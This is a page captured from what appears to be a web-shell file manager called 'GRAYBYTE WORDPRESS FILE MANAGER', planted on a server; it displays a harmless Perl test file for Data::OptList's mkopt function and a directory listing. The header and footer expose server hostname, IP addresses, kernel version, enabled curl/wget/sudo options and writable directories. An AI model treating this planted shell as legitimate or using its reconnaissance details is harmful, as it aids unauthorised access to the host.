✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ server.blackpussy.asia ​🇻​♯➤ 5.14.0-611.20.1.el9_7.x86_64 #1 SMP 🇾​♯➤ 2026

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 163.245.207.76 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.216.243
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗞 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ mail,mb_send_mail
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /usr/share/doc/perl-Data-OptList/t//mkopt.t
#!/usr/bin/perl -T
use strict;
use warnings;

=head1 TEST PURPOSE

These tests test option list cannonization (from an option list into a aref).

=cut

use Data::OptList;
use Sub::Install;
use Test::More 0.88;


# let's get a convenient copy to use:
Sub::Install::install_sub({
  code => 'mkopt',
  from => 'Data::OptList',
});

sub OPT {
  # specifying moniker is tedious (also, these tests predate them)
  splice @_, 1, 0, 'test' if @_ > 1;
  mkopt(@_);
}

is_deeply(
  OPT([]),
  [],
  "empty opt list expands properly",
);

is_deeply(
  OPT(),
  [],
  "undef expands into []",
);

is_deeply(
  OPT([ qw(foo bar baz) ]),
  [ [ foo => undef ], [ bar => undef ], [ baz => undef ] ],
  "opt list of just names expands",
);

{
  my $options = OPT({ foo => undef, bar => 10, baz => [] });
     $options = [ sort { $a->[0] cmp $b->[0] } @$options ];

  is_deeply(
    $options,
    [ [ bar => undef ], [ baz => [] ], [ foo => undef ] ],
    "hash opt list expands properly"
  );
}

is_deeply(
  OPT([ qw(foo bar baz) ], 0, "ARRAY"),
  [ [ foo => undef ], [ bar => undef ], [ baz => undef ] ],
  "opt list of just names expands with must_be",
);

is_deeply(
  OPT([ qw(foo :bar baz) ]),
  [ [ foo => undef ], [ ':bar' => undef ], [ baz => undef ] ],
  "opt list of names expands with :group names",
);

is_deeply(
  OPT([ foo => { a => 1 }, ':bar', 'baz' ]),
  [ [ foo => { a => 1 } ], [ ':bar' => undef ], [ baz => undef ] ],
  "opt list of names and values expands",
);

is_deeply(
  OPT([ foo => { a => 1 }, ':bar', 'baz' ], 0, 'HASH'),
  [ [ foo => { a => 1 } ], [ ':bar' => undef ], [ baz => undef ] ],
  "opt list of names and values expands with must_be",
);

is_deeply(
  OPT([ foo => { a => 1 }, ':bar', 'baz' ], 0, ['HASH']),
  [ [ foo => { a => 1 } ], [ ':bar' => undef ], [ baz => undef ] ],
  "opt list of names and values expands with [must_be]",
);

is_deeply(
  OPT([ foo => { a => 1 }, ':bar', 'baz' ], 0, [qw< HASH CODE >]),
  [ [ foo => { a => 1 } ], [ ':bar' => undef ], [ baz => undef ] ],
  "opt list of names and values expands with [must_be]",
);

is_deeply(
  OPT([ foo => { a => 1 }, ':bar', 'baz' ], 0, [qw< CODE HASH >]),
  [ [ foo => { a => 1 } ], [ ':bar' => undef ], [ baz => undef ] ],
  "opt list of names and values expands with [must_be]",
);

{
  bless((my $object = {}), 'Test::DOL::Obj');
  is_deeply(
    OPT([ foo => $object, ':bar', 'baz' ], 0, 'Test::DOL::Obj'),
    [ [ foo => $object ], [ ':bar' => undef ], [ baz => undef ] ],
    "opt list of names and values expands with must_be, must_be object",
  );

  is_deeply(
    OPT([ foo => $object, ':bar', 'baz' ], 0, ['Test::DOL::Obj']),
    [ [ foo => $object ], [ ':bar' => undef ], [ baz => undef ] ],
    "opt list of names and values expands with [must_be], must_be object",
  );

  is_deeply(
    OPT([ foo => $object, ':bar', 'baz' ], 0, ['ARRAY', 'HASH', 'CODE', 'SCALAR', 'Test::DOL::Obj']),
    [ [ foo => $object ], [ ':bar' => undef ], [ baz => undef ] ],
    "opt list of names and values expands with [must_be], must_be object",
  );

  is_deeply(
    OPT([ foo => $object, ':bar', 'baz' ], 0, ['Test::DOL::Obj', 'CODE']),
    [ [ foo => $object ], [ ':bar' => undef ], [ baz => undef ] ],
    "opt list of names and values expands with [must_be], must_be object",
  );
}

eval { OPT([ foo => { a => 1 }, ':bar', 'baz' ], 0, 'ARRAY'); };
like($@, qr/HASH-ref values are not/, "exception tossed on invalid ref value");

eval { OPT([ foo => { a => 1 }, ':bar', 'baz' ], 0, ['ARRAY']); };
like($@, qr/HASH-ref values are not/, "exception tossed on invalid ref value");

eval { OPT([ foo => { a => 1 }, ':bar', 'baz' ], 0, ['ARRAY', 'CODE', 'SCALAR', 'Foo']); };
like($@, qr/HASH-ref values are not/, "exception tossed on invalid ref value");

eval {
  mkopt(
    [ foo => { a => 1 }, ':bar', 'baz' ],
    {
      moniker => 'test',
      must_be => ['ARRAY'],
    }
  );
};
like($@, qr/HASH-ref values are not/, "exception tossed on invalid ref value");

eval { OPT([ foo => { a => 1 }, ':bar', 'baz' ], 0, 'Test::DOL::Obj'); };
like($@, qr/HASH-ref values are not/, "exception tossed on invalid ref value");

eval { OPT([ foo => { a => 1 }, ':bar', 'baz' ], 0, ['Test::DOL::Obj']); };
like($@, qr/HASH-ref values are not/, "exception tossed on invalid ref value");

eval { OPT([ foo => { a => 1 }, ':bar', 'baz' ], 0, ['CODE', 'Test::DOL::Obj']); };
like($@, qr/HASH-ref values are not/, "exception tossed on invalid ref value");

is_deeply(
  OPT([ foo => { a => 1 }, ':bar' => undef, 'baz' ]),
  [ [ foo => { a => 1 } ], [ ':bar' => undef ], [ baz => undef ] ],
  "opt list of names and values expands, ignoring undef",
);

eval { OPT([ foo => { a => 1 }, ':bar' => undef, ':bar' ], 1); };
like($@, qr/multiple definitions/, "require_unique constraint catches repeat");

is_deeply(
  OPT([ foo => { a => 1 }, ':bar' => undef, 'baz' ], 1),
  [ [ foo => { a => 1 } ], [ ':bar' => undef ], [ baz => undef ] ],
  "previously tested expansion OK with require_unique",
);

# This one is complicated. We defined name values as only non-references (the
# default) or arrayrefs, so arrayrefs are not turned into values as they
# usually are.  (The subsequent test shows the default expectation.)
# -- rjbs, 2011-04-08
my @input =(
  foo => { a => 1 },
  bar => undef,
  baz =>
  xyz => [ 1, 2, 3 ],
);

is_deeply(
  mkopt(
    [ @input ],
    {
      moniker   => 'test',
      name_test => sub { ! ref $_[0] or Params::Util::_ARRAYLIKE($_[0]) },
    },
  ),
  [
    [ foo => { a => 1 } ],
    [ bar => undef ],
    [ baz => undef ],
    [ xyz => undef ],
    [ [ 1, 2, 3 ], undef ],
  ],
);

is_deeply(
  mkopt(
    [ @input ],
    {
      moniker   => 'test',
    },
  ),
  [
    [ foo => { a => 1 } ],
    [ bar => undef ],
    [ baz => undef ],
    [ xyz => [ 1, 2, 3 ] ],
  ],
);

done_testing;

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]

Current_dir [ 𝗡𝗢𝗧 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
1 Jan 1970 12.00 AM
root / root
0
00-report-prereqs.dd
1.423 KB
25 Mar 2016 1.20 AM
root / root
0644
00-report-prereqs.t
5.471 KB
16 Feb 2022 2.06 PM
root / root
0644
hash.t
1.955 KB
16 Feb 2022 2.06 PM
root / root
0644
mkopt.t
5.658 KB
16 Feb 2022 2.06 PM
root / root
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF